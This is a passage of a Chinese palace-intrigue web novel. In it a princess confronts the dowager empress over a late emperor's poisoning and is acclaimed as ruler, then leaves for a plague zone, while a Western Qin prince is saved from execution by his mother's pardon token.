闻此,那位起先亲自查验过遗诏笔迹的官员开口禀道:“启禀太后娘娘,先帝驾崩前曾留下亲笔遗诏,新君之位由嫡公主永宁公主继任。国不可一日无君,臣等今日乃是奉旨行事,并非私自妄议,还请太后娘娘明查!” 温太后显然对遗诏并不知情,遂心中顿了一下,蹙眉疑惑地道:“先帝的遗诏?” 一旁的侍卫见了,将东宁国君所留下的遗诏速速拿到其面前,双手将其高高捧起。 温太后斜了侍卫一眼,继而将其一手夺了过来,缓缓打开看了看,顿时惊愣住,心里暗暗地道:“这果然是他的笔迹,他竟真的鬼迷心窍将大位传给了那个女人所出的贱蹄子,完全不顾我的豪儿。” 想着想着,却忽然扭曲起事实真相,一把狠狠地将手里的遗诏扔在了面前的地板上,开口勃然大怒道:“大胆,本宫自及笄之年便伴在先帝左右,先帝的什么事情本宫不比你们清楚。你们好好睁开你们的狗眼看看,这哪里像是先帝的笔迹?依本宫看,这一切分明是有些人意图不轨,想要谋权夺位!” 那老臣颤颤巍巍,吃惊极了地道:“这,这的确是先帝的笔迹呀!” 温太后见此人着实冥顽不灵,顽固不化,顿将一双瞬间变得冷厉极了的剑目朝其瞪了过去,道:“你说,是不是那个贱蹄子与你密谋,你欲扶持她继位,她倒是给了你什么好处?” 那老臣连连朝其叩首,苦喊道:“太后娘娘明鉴,老臣从不曾与嫡公主密谋什么,此乃的确是先帝的旨意,是先帝的旨意啊,老臣没有半点虚言啊!” 似是还不够解气,又许是不想再看到此人在阻碍自己的大事,于是,温太后当即命令殿前的侍卫:“来人,给本宫将这个老眼昏花的老东西拖下去,杖责五十,即刻满门抄斩,百官以此为戒,看谁以后还敢胡乱造次!” 顿时间,那老臣便如同一只蝼蚁一般被两名侍卫过来提了出去,那骨瘦嶙峋的身影依旧不愿放弃,大声地对天呐喊着:“先帝您在天有灵,快点睁开眼来看看啊,这是东宁要乱了,我东宁要乱了啊!” 就在那老臣即将马上被拖出殿外去,殿内余下跪着的一地官员个个都冒着豆大的冷汗,战战兢兢似是都不敢呼吸一般时,殿内忽闻一极其响亮的声音道:“住手!” 刹那间,富丽堂皇的大殿之上鸦雀无声。 温太后寻声觅去,见原是衣上云不知何时竟已私自站起身来,便恶狠狠地瞪着她,朝其呵斥道:“本宫没让你起来,谁准你起身的?你算是个什么东西?在这大殿之上,可有你说话的份?” 虽说是“忍字头上一把刀”,可衣上云忍耐至此,再也不想继续忍下去,于是丝毫不甘示弱地站了出来,快步上前到继后的面前朝其掷地有声地说话。 衣上云深看了她一会儿,道:“方才本公主跪你,乃是敬你,终归多多少少你亦曾帮扶过父皇些许,亦是顾全了我皇家的颜面!可你若在此嚣张跋扈,继续颠倒是非黑白,残害忠良,休怪本公主对你不客气!” 继后竟瞬间被这弱小的身躯所说的话吓了一跳,愣愣地看着她的脸,忽回过神来依旧厉声道:“大胆,谁给你的胆子,竟敢对本宫如此无礼!” 这时,衣上云忽然对她不屑一顾地挑眉笑了笑,继而嘲粉似的说道:“无礼?你也配?” 见此,温太后竟似是瞬间被其威严和勇气吓得连站亦是站不住了,遂身子踉跄了一下,被身边的梅志豪扶了一把,幸好最后站了住,嘴里碎碎念道:“反了反了,这是都要反了么?” 见继后已然乱了阵脚,梅志豪替其挺身而出,对衣上云一点儿也不客气地道:“你这个不知死活的死丫头,朝堂之上,哪里有你一介女流的一席之地,还不快快滚出去!” 衣上云看了看他,怼道:“你说什么?让我滚出去?我看该滚出去的人应该是你吧?!你身为一国之皇子,却不知为父皇分忧,替百姓谋福。整日里不学无术,目不识丁,荒淫无耻,只知贪图享乐,你就不觉愧对皇子之名,愧对我皇家的列祖列宗吗?” “你……你……”显然,被衣上云一句话便怼地再无还口之力的梅志豪一怒之下,竟高高抬起一只手来欲朝其脸上甩下去。 就在衣上云避之不及时,远远躲在偏殿里一直观察着殿内所发生的一切的易三少,不知飞出了一样什么东西,只见梅志豪高抬起来的那只手顿时被击中,痛的瞬间嗷嗷直叫了起来:“谁?是谁?竟敢暗地里对本皇子使坏?” 满朝文武官员顿时皆都你看我,我看你,似是还不知道到底发生了什么? 这时,衣上云迈步缓缓上前欲走到温太后的身旁,梅志豪一见其朝自己过来,吓得连忙躲闪开。 衣上云从其身旁经过的时候,对他轻蔑极了地笑了笑。 兀自近身过去附上温太后的耳畔,对其低声细语道:“母后,儿臣劝母后还是就此收手吧!父皇到底是怎么死的,难道母后心里就没有一点儿数么?莫非,非要儿臣当着满朝文武大臣的面,拿出证据来,证明母后的膏滋调理汤里加入了九毒草之首的见血封喉?身为一国之母,竟用如此阴狠的手段送父皇上路。到时候,不仅我皇家颜面尽扫,母后母族难免亦会被受牵连而诛九族。最后,母后母子不仅不能在宫中颐养天年,怕是母后母子,就连远嫁西秦了的永乐公主,亦都会性命难保了吧……” 温太后听了这一切,惊呆了,直瞪大了眼睛对着衣上云:“你……” 想她那般仔细下在膏滋里的毒,世上根本不可能有人发觉,而此刻,衣上云显然不仅知道膏滋里有毒,竟还知道是何种毒素。如此胸有成竹,看来她定有证据。若是再这样僵持下去,真被她揭穿了,正如她所说,那后果可不是闹着玩的, 衣上云始终都眼神定定地看着她。 殿前文武百官亦是愣愣地看着这俩个女人,自是永远都不知他们此刻都说了些什么? 只不过顷刻之间,却似是一座大厦瞬间坍塌,众叛亲离,精心谋划了一辈子,温太后终是赌不起,最后不得不妥协认输:“本宫输了!但是,你也别得意,三十年河东,三十年河西,指不定什么时候,本宫的今日,便是你的明天!本宫诅咒你,今生注定是个短命鬼!和你那娘一模一样,不得好死!” 闻此,不知怎么,衣上云顿觉心跳停止了一下。 继后将话说完,深深地看了她一眼,便复又一袭华服,依然昂首挺胸地走出了大殿。 随着其渐渐离去的脚步,身后再次响起了众百官们更尤为响亮的声音道:“臣等恭送太后娘娘!” 至此,衣上云亦望着其渐渐失去的背影,终于长长地舒了口气。 心里暗暗地道:“父皇保佑,幸亏温太后没有坚持让儿臣拿出证据来,否则今日怕是……可这也证明了,下毒之人不是他人,正是温太后本人无疑。” 蹙眉默想了一阵,忽一回过神来,衣上云急步上前过去将此刻依旧被俩名侍卫在手中驾着的老臣亲自双手扶住,歉声道:“对不起,让大人受苦了!” 那老臣一字一顿地说:“为了我东宁国,受这点儿苦算什么?” 衣上云深觉东宁能有这般视死如归的先帝追随者,实属万幸。 于是,她甚觉欣慰地顿一回头,却见文武百官俱都齐刷刷地朝自己极为恭敬地伏首跪拜:“臣等拜见吾皇万岁,万岁,万万岁!” 第四百八十六章:丫头,你做的很好! 衣上云甚觉欣慰地顿一回头,却见文武百官俱都齐刷刷地朝自己极为恭敬地伏首跪拜高呼道:“臣等拜见吾皇万岁,万岁,万万岁!” 见此,衣上云瞬间愣住,她自是从来都没有想过要接受这个位置。 可眼前的局势明显已是情势所逼不得不,于是心里一急,忙奔到跪身着的众官员面前,连连摆手推托道:“不,不,不,不是这样的。各位大人先都起来!这新君继任一事,并非儿戏,事关我东宁国的未来存亡,江山社稷。在治理国事上,我可什么都不懂,实在担不起这个责任,故而我们还是应从长计议,从长计议一下!” 尽管觉得自己已经拼尽全力了,然却见面前众百官半晌依旧纹丝不动,个个俯首不起,衣上云便朝躲在偏殿里的易三少放眼望去,想要得到他的些许帮助。 启料,易三少竟也伸出空空俩手来朝其一摆,以示自己亦是对此无能为力。 无奈之下,衣上云再次忙朝一边的梅志煊使了个眼色,求救道:“三皇兄,你倒是说说看,我说的对不对?啊?对不对?” 梅志煊此刻立在一旁,双臂环抱着鼓着腮帮子,自是心里对其有着满满的怨恨与妒忌。 他怎么都没想到,东宁国君竟会传位与她,更没想到的是,第一次上朝与百官见面的衣上云,竟会获得众人如此高的尊重与拥戴,显然胜过他十几年来苦心经营所得到的一切。 尤其一想到她方才面对一向走到哪里,无论对谁都嚣张跋扈惯了的温太后,应对又是如此地沉着冷静,直教自己亦自叹不如。 见俩人俱都袖手旁观,竟无一人愿意帮自己解围,衣上云心念一动,情急之下,忽顿觉眼前一亮,开口说道:“对了,父皇生前不是已经将本公主赐婚于南安国太子了嘛,既然如此,本公主又如何当得了这一国之君呢?” 只要能解了当下这燃眉之急,她竟已不管不顾,不惜利用易三少至此了,心里默想着:“三少,对不起,得罪了。” 闻此,满朝文武大臣终于开始徐徐发出些许声音来。 “是啊,先帝先前不是要下旨将永宁公主远嫁到南国的吗?” “依照目前灵空的局势来看,与南安国结盟亦是尤为重要的事情。” “对对对,如此一来,永宁公主又如何能成为我东宁国的新君呢?” “这可如何是好?如此一来,那新君之位,又该作何安排?” “正如大家所见,二皇子,显然不适合新君之位的擢选!” “可这三皇子嘛……” 众官员说着,将目光纷纷落向了依旧在气头上的梅志煊身上,梅志煊顿时朝其气不过地道:“看什么看,本皇子是美人?倾国倾城很好看吗?” 闻声,众人皆被其姿态惊吓住,纷纷连忙收回目光,复又交头接耳三三两两地议论开来。 就在这时,易三少笑了笑,不知心里打了什么主意,终于从偏殿中缓缓走了出来,近身到衣上云的身旁,深看了她一眼,继而转身对群臣说道:“若是本太子愿意入赘东宁,不知各位意下如何?” 闻此,衣上云顿时看向他的脸,朝其惊呆了:“入赘?什么入赘……三少你简直是疯了,怎会有这样的想法?” 此话一出,就连一旁赌气凑热闹想要看看究竟如何独自一人继续演下去的衣上云的梅志煊亦是再也不愿隐忍,扬起声来喝道:“易三少,你一个外人,知不知道自己在说什么?在此起什么哄?” 然群臣里却是有人附和地说道:“若是太子果真愿意入赘我东宁,如此一来,不但缓和了南安与我国的俩国关系,我们的新君也算是保住了,一举两得,那自是最好不过的了。” 易三少听了满心欢喜,笑着正还想继续说些什么,衣上云忽地狠狠剁了下脚,急道:“易三少!你是真的听不懂我的话吗?” 而就在易三少见其是真的生气了,预备忙解释自己只不过是想和她开个玩笑时,忽闻殿外传来一疾报声道:“报!” 衣上云惊看向来人,道:“发生了何事?” 顿时,只见一袭士兵打扮风尘仆仆地夺门而入,一进来便重重地跪地禀报道:“启禀公主,三皇子殿下,刚刚接到急报,地处我国西部偏远地区的龙虎城有瘟疫正在悄悄蔓延。” 闻此,殿前众人皆都异口同声地惊道:“什么?瘟疫?” 似是上一场那几乎要亡了整个东宁的那场瘟疫的场景尚还历历在目,仿佛就发生在昨天一般,不想同样的灾难竟又再次重新降临。 一念至此,梅志煊上前两步,遂惊恐地瞪着眼睛朝其再次认真地确认:“瘟疫可非儿戏?尔等可已查明是何种瘟疫,此消息是否属实?” 士兵一字一句,回答道:“龙虎城的这场瘟疫来势汹汹,且见所未见,闻所未闻。数日以来,只知已由最初的每日数人丧命于此,发展至今日新增死亡人数近百,且传播速度极快,相邻城池均亦已有相同的确诊病例。此消息绝对属实,不敢欺瞒!” 闻此,梅志煊惊得不禁脚下一个踉跄。 殿前众百官中,更是顿时炸开了锅。 “东宁国的老祖宗们常说,瘟疫始于大雪,发于冬至,生于小寒,长于大寒,盛于立春,弱于雨水,哀于惊蛰,晚于春分,灭于清明。可眼下这春分刚过,怎会突发瘟疫?” “国丧刚刚结束,新君之位尚还无定论,天又降瘟疫于我东宁,莫非是要……” “此乃实属大凶之兆啊!难道我东宁莫非是真的要……唉!” “一场至今都不知为何的瘟疫,这可该如何是好?” …… 听到殿前皆是垂头丧气,哀叹声一片,衣上云紧紧皱起眉来思索着。 最后咬了咬嘴唇,心里似是默默地做了决定。 遂扬声下令道:“下令我国各城池,即刻起关闭各自城门,禁止以任何方式和理由的城内,尤其是与城外的所有聚集与集会,各府衙竭尽全力赈灾。本公主,即刻奔赴龙虎城疫区,亲自前往查看!” 闻此,易三少顿时朝其瞪大了眼睛,看着她皙白认真的侧脸道:“丫头,你不要命了!” 梅志煊亦扭头惊看向她此刻无比坚定的另一边侧脸,不敢相信自己的耳朵,道:“皇妹,你说你要去疫区?!” 众百官更是异口同声地劝道:“公主万万不可涉险,亲临疫区。” 衣上云稍一思量,则对众人幽幽道:“没想到,父皇刚刚仙逝,我东宁便发生这般的天灾。如今,东宁的子民深陷于如此水深火热之中,本公主若是不去,那你们来告诉我,还有谁去?” 此话一出,大殿之上顿时一片鸦雀无声,文武百官纷纷低下了脑袋,那可是比虎狼野兽还要凶猛不知多少倍的瘟疫啊…… 一室寂静。 忽然,大殿上响起易三少的声音来,他扬声定定地道:“我去!” 衣上云听了,倏地转身面对着他,怔怔深看了他一会儿。 最后认真又感激地说:“三少,我知道你的心意。可归根到底,这终究是我东宁国的国事,你一个外人,就不要再掺和进来了。正如三皇兄方才所言‘瘟疫并非儿戏’,就算你的医药之术再好,可你方才没听说嘛,这是一种前所未有的新的瘟疫种类,疫情究竟如何我们尚还未可知,又怎能让你涉险?这辈子,我已经欠你太多太多了。所以,你就不要让我的罪孽再加重了几分,好吗?” “可是……”易三少着实为她担心极了,似是还想再继续争取一下。 衣上云却不再给他任何涉险的机会,转回身去对着殿前百官道:“你们方才不一直说本公主才是东宁国的下一任新君么?既然如此,那自是应当由本公主亲自去疫区里查看啊!或许,这是上苍对我新一任国君的考验也说不定呢!” 文武百官听了这话,似是有几分道理,可依旧甚觉大有不妥:“可是公主若是一旦离宫,便犹如我东宁国群龙无首,若是那虎视眈眈的西秦得知此事,此时欲对我国不轨来犯,那又当如何是好?” 衣上云想了一瞬,道:“放心,本公主一定会尽快控制好疫情,不会让西秦有这个乘虚而入的机会的。” 文武百官对此似是依旧不依不饶。 衣上云遂伸出一手将其拦住,郑重宣布道:“好了,你们都不必再劝了,就这样决定了。疫不容缓,人命大于天,本公主即刻启程奔赴疫区。在本公主离宫的时日里,一切国事皆都交由三皇子决断,众大臣务必全心全力辅佐,不得有误!” 闻此威严之声,文武百官竟对其忽肃然起敬,终跪了一地听命:“臣等谨遵公主殿下之命,定当竭力辅佐三皇子治国!” 见此,衣上云方才似是安心了下来,继而对梅志煊意味深长诚恳地道:“皇兄,这次本公主可亲自将东宁交到你的手里了。若是你能收敛些戾气,多些仁慈,想假以时日亦必成大器,我本来就不属意这个国君之位,他是你的,我只希望,你能对东宁的子民好一点。” “你……”梅志煊惊望向她的眼睛,显然早已是无颜以对。 望着衣上云安排好一切,从大殿上一步步从容离去,易三少在其背后注视着她,心里默默地赞道:“丫头,你做的很好!” 第四百八十七章:这一巴掌,太后可记好了! 温太后的宫殿里。 伴随着“噼里啪啦”的巨响声传出,地上到处一片狼藉,殿内的地板上,宫女嬷嬷们个个战战兢兢地跪了一地,无一人敢说话。 一出生便就是那般心高气傲的一个人,走到了今天,方才在大殿之上却因为一个小丫头而忍下的这口窝囊气,自是难以下咽。 可她之所以不敢最后博一把,一是因为衣上云方才所表现出来的那份完全在自己意料之外的镇定自若和勇气,是真的太过于神似东宁国君生前的威严之态,甚至于完全有过之而无不及,是真的震慑到了自己。 更多的是,始终都是自己心虚,正如衣上云所言,若是事情一旦败露,他的儿子梅志豪以及她的母族,便是跟着她一起死无丧生之地。 有道是,留着青山在,不怕没柴烧。尔今不得已只能委曲求全,只待来日能够东山再起。 摔光了殿内几乎所有能摔的东西,温太后最后双手过去捞了个空,这才终于总算是气呼呼地坐了下来。 一边喘着粗气,一边眼神和说话的语气俱都狠绝地道:“死丫头,来日方长,莫要得意地太早!” 这时,同样一直默默呆在一边角落里,不敢做声的梅志豪见其平静了些许下来,于是上前责怪着道:“母后方才为何向那个死丫头妥协,她到底跟母后您说了些什么?难道我们就这样将本应该属于我们的位置拱手让人么?” 闻声,刚刚平静了些许下来的温太后其心头的愤怒瞬间被其再次点燃,遂怒瞪向梅志豪的脸道:“你这是在质问本宫吗?” “儿臣……儿臣不敢!”梅志豪一见其向自己投来的目光有些不对,终还是目光急急躲闪着低低收了声。 温太后虽深知自己是其生母,可已故东宁国君亦同样是其生父,若是让其知道他的生父乃是自己亲手下毒致死,她也不知道他会怎么想,怎么做?在这件事上,同样,她不敢赌,亦赌不起。 她这一生,对这一对儿女所付诸的用心良苦,是任梅志豪与梅汐媛俩个,怎么都不能体会的。 于是,温太后最终也是默默地隐忍了下来,没有再继续追究。 遂一手附上额头,缓声道:“好了,你先回去吧,此事还需从长计议,自是不能就这样算了!” 闻此,梅志豪也不敢继续再说些什么,便甩了甩衣袖,忿忿不平地转身离去。 过了会儿,一回神她的眼里才看到了地上跪着的一群个个怯怯俯首着的侍从们,遂重重地叹了口气说道:“好了,你们也都别跪着了,全都起来吧!” “谢太后娘娘恕罪!” 至此,众人方才朝其叩首拜谢,跌跌撞撞地起了身来,开始身影忙碌地收拾起这一地狼藉。 刚收拾好一切,一名小宫女疾步进来禀报:“太后娘娘,永宁公主求见。” 此时手里正捧着一盏热茶将要入口,闻声复又气着道:“她来做什么?难道方才在大殿上所发生的一切还不够?这会儿还要追着上门来朝本宫兴师问罪吗?本宫今日倒是想看看,那个小贱蹄子究竟要干什么?让她给本宫进来。” 话音刚落,手中的茶盏亦随之重重地被甩在了身旁的案几上。 很快,衣上云便夺门而入,朝其近身过去欠身行礼道:“儿臣参见母后。” 温太后可谓是彻底恨透了她,对其自是一点儿寒暄之词也没有,直接说道:“谁是你的母后?少在本宫面前假惺惺的装腔作势,本宫可不敢有你这般的儿女。你和你那娘果然一模一样,凡事人前一套,人后又是另一套,本宫才不吃你那套。说,你又来此找本宫做什么?不必再拐弯抹角。” 衣上云心里当然也不屑于对如此心如蛇蝎的女人客套,见其并不领情,与其便直起身来亦直言道:“太后既然这样说,那事情便简单多了。其实,我此次前来只是想要弄清楚一件事。” 闻此,太后只觉现在这样的气愤才是对的,于是轻蔑极了地看都不看她一眼,兀自一边故作悠闲地品茶,一边道:“何事?” 龙虎城大疫,此次前去不知何时才能归来,亦或者,这一去,便再也回不来了也未曾可知。 衣上云思之又思,既然来都来了,有些事,她始终想要弄明白,于是吐了口浊气,蹙眉道:“我只想知道,是不是你派人杀了我的母后?” 闻此,温太后顿时停下了手中的动作,却是只不过片刻之间,复又一边品茶,一边惜字如金地说了两个字道:“不是!” 从其眼中,衣上云看得出,此时的温太后并没有撒谎。 可如果事实并不像东宁皇宫里所传说的这样,是其当年妒忌母后深得父皇恩宠被封为皇后,因此而起了杀念,那母后,又究竟是怎么死的? 定定地端详了其一会儿,衣上云心里已然有了定论,于是劝其道:“既然不是你做的,我就暂且饶了你一命。但是,你对父皇下毒,我绝不会饶恕。” 闻此,温太后似是终于再次有些心虚了起来,朝其看了过去,疑惑地道:“你想要做什么?” 衣上云沉默了一会儿,道:“我还没想好,但是你放心。我绝对不会让你们母子就这样痛快地死去。我要你们活着,因为活着,可远比死了痛苦地多。” “你……”温太后显然惊呆了。 这些日子以来,衣上云心里一直愤怒极了:“夫妻一场,你为何如此狠心迫不及待地想要致父皇于死地?未来有朝一日,他若百年,你若对他上心一些,对你那儿子多加管束一些,东宁国迟早都是你们母子的,任谁都抢不去,你又为何如此急不可耐?” 温太后缓缓起身,冷冷的笑了一阵,似是有些自嘲地道:“是啊,这东宁国,本来就是该属于我们母子的。可你为什么要回来?你回来了,这皇位还会有我豪儿的份吗?” 衣上云惊看着她的脸,不解地道:“你说什么?因为我?” 温太后深吸了口气,回忆着道:“你可知道张大人临死前一刻最后的卜筮是什么?” 衣上云心里自是对此毫不知情,温太后一步一步走到她面前:“张大人卜筮说,东宁国的下一任国君将会是名女子。所以,本宫才要将所有试图接近魅惑皇上的人一个个全都除掉。只是没想到,那个人,竟然真的是你!你果然和你那娘一样,都是贱人,本宫真后悔当年没有一尸两命,亲手送走你们?” 见其此刻瞪大了眼睛在自己眼前嘴巴一张一合肆意谩骂羞辱,已然如同发疯了一般,衣上云紧紧握拳,咬着牙,心念冲动地甚至想要将其一剑毙命。 却闻“啪”地一声,只见其将一记重重的耳光甩在了温太后的脸上,她终是隐忍了下来。 温太后自小到大,哪里被人甩过巴掌,遂吃痛地同时,亦惊呆了,不敢置信地看着衣上云的脸,惊诧不已地道:“你,你,你,你竟敢……” 衣上云想都不想,脱口便将其嘴里剩余的话全都打断道:“我敢啊!为何不敢?这一巴掌,太后可记好了!” 一时间里,俩人遂对视了半晌,再无一人说话。 似是再也不屑与其再继续废话下去,自己想知道的事也都已经知道了,于是便缓缓转身,欲要离去。 忽然之间,身后再次响起了温太后的声音:“你真的有证据能证明,是本宫给先帝下的毒?” 衣上云止住步来笑了笑,肃声道:“太后为何不亲自赌一把,看看我手里到底有没有证据!还望太后要时刻保持警惕,若是稍有不慎,我便会将此事实真相公布于众。到时候,太后一族便就是全国的众矢之的了。太后娘娘可一定要好自为之啊!” 说完,衣上云便毫不犹豫地跨过了门槛,身后即刻传出阵阵咆哮之声来道:“贱人,贱人,本宫诅咒你,本宫诅咒你……” 离开了温太后的寝宫,衣上云一边放慢了脚步走着,一边细细思索道:“如此看来,母后的确不是太后所杀。” 想起在西秦时的经历过往,所得的那些零零乱乱的消息,将其所有放在一起思来想去,最后不想竟是惊到了自己:“难道,母后当年真的是因救年幼的秦王殿下而死!若是这样的话,似乎一切便就都通了。太后派去欲加害母后的人路上遇上了同样欲要加害殿下的人,而未等太后派去的人动手,母后因为了护住殿下而被另一路人先杀害。如此一来,关于西秦守护者的传闻,难道亦是真的?” 顺着其再一想:“所以,我即是东宁国公主……也是……西秦守护者后人!” 然她同时却又生出另一个疑问来:“可传闻不是说,西秦守护者只守护当朝真命天子么?那母后又为何会因秦王殿下而死呢?莫非……难道……西秦璟帝,并不是当朝真命天子!” 衣上云瞬间被自己的推理惊呆了! 第四百八十八章:进宫讨说法 而此时的西秦国皇城刑场上。 正如之前所有人的预料,昏庸无能又疑心病极重的璟帝生怕灵空其余两国因自己偷袭的计划败露而迁怒于西秦,便欲先下手为强。 于大殿之上,怒斥轩辕翰无能,方才致使计划失败,因此为西秦招来大祸。 如今之计,只有杀了他,才能平息各国之愤,缓和与两国之间的关系。 于是,轩辕翰依旧铮铮铁骨,身着一袭单薄的青色囚衣,被一套沉重的枷锁束缚着,捆绑在刑场上的一根粗壮的柱子上,正等待着午时三刻一到,便被斩首示众。 此时刑场周围早已是万人空巷,百姓云集,水泄不通,纷纷朝其自觉地跪身行大礼,众说纷纭。 “秦王殿下千岁,千岁,千千岁!” “秦王殿下佑我西秦,征战沙场功不可没,万万不可杀啊!” “先帝有灵,秦王杀不得,杀不得啊!” …… 然任凭百姓此起彼伏的声音无论再大,此刻亦是显得那般地渺小无力,于事无补。 可在轩辕翰的脑袋里,打从离开东宁国的那一刻起,至今却一直都沉浸在衣上云当日当着众人的面羞辱他的那个场景中不得自拔。 “秦王轩辕翰,你以为你是谁?” “为了能够在这世上活下去,也是不甘再遭人冷眼相看,便想着要接近于你,以此为依靠来博得些许别人的尊重。” “你,只不过是那西秦璟帝身边一条摇尾乞怜,委曲求全的狗!试问,如今本公主还有何必要再继续攀附与你?本公主劝秦王,还是莫要在此喋喋不休,自取其辱,遭人厌恶!” …… 这字字又句句,他怎么都不敢相信是出自于她的口中,可这确是字字见血,句句剜心,每个字她都说的那般铿锵有力,掷地有声,狠绝至极。 一念至此,轩辕翰失神地喃喃低语道:“云儿,本王到底做错了什么,你为何对本王如此绝情?既然不爱,又何必要委身于本王?” 就在这阵阵呼声中,这一刻,终于来了。 “午时三刻已到,行刑!” 闻声,只见人群里到处埋藏着的数名暗卫暗暗地拔出了事先暗藏起的利剑。 正欲个个一齐飞身而出,忽闻一极其响亮的女子声音传出道:“先帝所赐免死金牌在此,谁敢动秦王!” 众人闻声寻去,只见一头戴黑色帷帽,身边跟着一个小丫头的妇人,两人一齐缓缓上前。 “你是何人?竟敢阻止本官奉旨行刑!”场上负责行刑的一近年过半百,似是老眼已有些昏花了的官员一本正经的朝西秦皇宫,天子所在的方向抱了抱拳,朝其喝了一声道。 妇人嘴角微微上扬,不屑一顾地勾出一抹弧度来,兀自叫了一声:“欢儿!” 小丫头当即便从怀里掏出一块金色的令牌来,上面著“免死”二字,将其晾了出来,在众人面前。 那官员一见,似是有些被吓到,遂两手稳了稳官帽,方才缓缓起身来走近过去擦了擦亮眼睛,仔细观察了一番。 最后摸着白须,回忆着喃喃自语道:“本国自开国以来,从未听说过有什么‘免死金牌‘,除了先帝曾赐予秦王生母纯太妃娘娘的独独那一块。获此金牌者,不乏其或子孙获罪甚至被处死的人……可纯太妃已故多年,这免死金牌早已随其一起消失,如今又怎会现世在此……” 依旧再次审视了那金牌半晌,上面刻着西秦国图腾,一念至此,那官员忽然似是意识到了什么,忙朝妇人投去目光,问:“你是何人?” 至此,妇人方才缓缓摘下了长长的帷帽遮挡。 那官员一见,顿时朝其瞪大了双眼,似是双腿亦已经不听使唤,不由自主地缓缓跪了下来,朝其俯首跪拜吞吞吐吐地道:“你是,纯,纯,纯……老臣参见纯太妃娘娘,千岁,千岁,千千岁!” 一时间,在场所有人皆朝其一同俯首跪拜:“参见纯太妃娘娘,千岁,千岁,千千岁!” “都起来吧!”妇人挥了挥手,转身接着又问:“怎么样,先帝的免死金牌在此,大人如今验也验过了,既然亦已亲自识出本宫,那不知大人这下可以放了秦王了么?” 那官员紧忙拭了拭额角的冷汗,连声道:“放放放,马上放!” 说着,便对一边的狱卒下令道:“来人,还不赶快将秦王殿下解开!” 遂紧忙上去了两名狱卒,蹑手蹑脚,战战兢兢地除去了束缚在轩辕翰身上的绳子与枷锁。 妇人一见,急道:“欢儿,快去将殿下扶住!” “是!”欢儿疾步过去照做。 妇人亦随其近身了过去,深看着轩辕翰此时依旧失魂落魄的模样,着实心疼极了。 审视了一遍他的全身,见并无伤口,于是一边温柔地抚摸着他脸上的轮廓,一边心疼极了地道:“皇儿,母后回来了,对不起,这许多年里,让皇儿受苦了!” 似是依稀听到了其呼唤,轩辕翰的意识忽恢复了一丁点儿,遂愣愣地看着她的脸,口中只喃喃细语道:“母后……” 闻此,妇人顿时流着泪将其一把揽入怀里:“数月不见,皇儿这是怎么了?” 回到了秦王府,叫来乐太医亲自为其把脉查看,见其并无受到伤痛,只是因为一些心结,心神有些恍惚。 将轩辕翰安顿好,也从自己先前的侍从那里大致了解了秦王府这些年来所发生的事,纯太妃便迫不及待地入了宫去,要为今日轩辕翰所受到的不公讨个说法。 如今,亦已然得知了刑场上所发生的一切,纯太妃尚还好端端地活在人间,并用免死金牌保下了秦王的命,宫里的这对母子恨得那叫一个咬牙切齿。 可事到如今,除了再次重新面对,别无选择亦是事实。 这不,太后与太妃俩人多年不见,这一见面,便是激烈的唇枪舌战了起来。 即便此时,太后依旧佯装全然无知着道:“姐姐,真没想到,你竟然还活着?” 太妃道:“怎么,本宫尚还活着,并未被当年的那场大火烧死,太后如今一定很是失望吧?!” 太后假意无辜地道:“瞧姐姐说的这是什么话?当年深夜里的那场大火乃是一场意外,可不管怎么说,姐姐能活着,妹妹自然是甚觉庆幸不已,又怎会失望?” “那场大火是不是意外,你我心里都有数。这些事情,过去了就过去了,本宫也不想再与你计较。今日前来,本宫乃是为了吾儿,向皇帝探个说法!” 纯太妃说着,将目光移向了落座在一旁一直默不作声的璟帝身上。 闻声,璟帝笑了笑,遂放下手里的茶盏,说道:“不知太妃娘娘所说的,可是今日刑场上的事?” 纯太妃肃声问道:“不然呢?不知秦王犯下何种滔天大罪,以至于皇帝起了杀念,竟想要了他的命!” 璟帝悠悠道:“正如众所周知的一样,秦王他办事不利,在东宁暴露了身份。如今,将西秦置于众矢之的,若是他不死,儿臣如何向灵空各国交待?仅刚刚结束的与北烈的一场恶战,我国已是需要很长一段时间的休养生息,如若此时他国再来犯,又当如何应对?” 纯太妃怒道:“所以,皇帝就要牺牲自己唯一的亲皇弟,以此来换得西秦短暂的安宁?” 璟帝似是还想再辩驳些什么:“朕……” 纯太妃急急将其打断,继续说:“你以为本宫不知,让秦王带着火药去假装与那东宁三皇子暗地里交易,实则乃是为了蓄意炸掉东宁皇城的主意,正是皇帝所出,皇帝是存心不让他活了。多年不见,皇帝的心,当真是更狠了!” 此话一出,一室寂静。 半晌后,纯太妃方才再次开了口:“此次本宫前来,就是想告诉二位。本宫既然再次归来,便就不会像从前一样任人摆布!” 话一说完,便起身来欲要离去。走了两步,忽记起一事来,道:“还有一事,本太妃尚还活在人世,没有我的点头允许,秦王府的那个女人从哪里来的,便回到哪里去?” 闻此,太后忧心地道:“可永乐公主已入秦王府的门一年有余,若是现在将她逐出王府去,怕是东宁国那边……” 纯太妃不屑地道:“即便她是东宁国的永乐公主又如何?秦王可曾亲自踢过她的轿门?迎她入府?此人不但本太妃不认,秦王也不曾认下她?是谁当初擅作主张的,便由谁亲自去善后!” “可是……”太后似是还想说些什么,璟帝忙伸出一手去将其拦住。 至此,见其二人再无异议,纯太后方才一步跨过门槛,走了出去。 见其身影终于消失不见,太后方才怒发冲冠地将一掌重重地拍在了案几上,咬牙恨恨地道:“岂有此理,真是岂有此理!这个贱人,真是阴魂不散,阴魂不散啊!” 只有璟帝却沉声说道:“此时说什么亦是枉然,眼下之际,母后还是赶快想办法看看如何安顿那东宁公主吧?” 《百世契约:药妃,宠不停》无错章节将持续在新书海阁更新,站内无任何广告,还请大家收藏和推荐新书海阁! 喜欢百世契约:药妃,宠不停请大家收藏:()百世契约:药妃,宠不停新书海阁更新速度最快。 第四百八十九章:一方水土,养一方人 是夜,秦王府中到处一片灯火通明,脚步声来去匆匆。 轩辕翰回到府里,纯太妃走后没多久,不知为何忽然一直高热不退,整个人都昏昏沉沉地睡着,时不时口中只发出来阵阵呢喃声音,断断续续,尽都是些关于衣上云的。 “云儿,你回来,回来本王身边……” “本王不相信……” “你说的不是真的,不是……” “一生,一世,一双人……” “回来,你回来……” “本王离不开你,不能没有你……” “云儿,云儿……” …… 纯太妃进了宫,张嬷嬷,乐太医与程良三人寸步不离地在寝殿里精心伺候着。 一直到了半夜时分,发了许多汗,总算是退热了。 给其重新换了一套干爽的衣裳,见其终于安稳地睡着了,于是三人熄灭了殿内多余的灯火,正准备退回去的时候,纯太妃回来了。 “太妃娘娘……”乐太医回头一见来人,便极恭敬地朝其行礼。 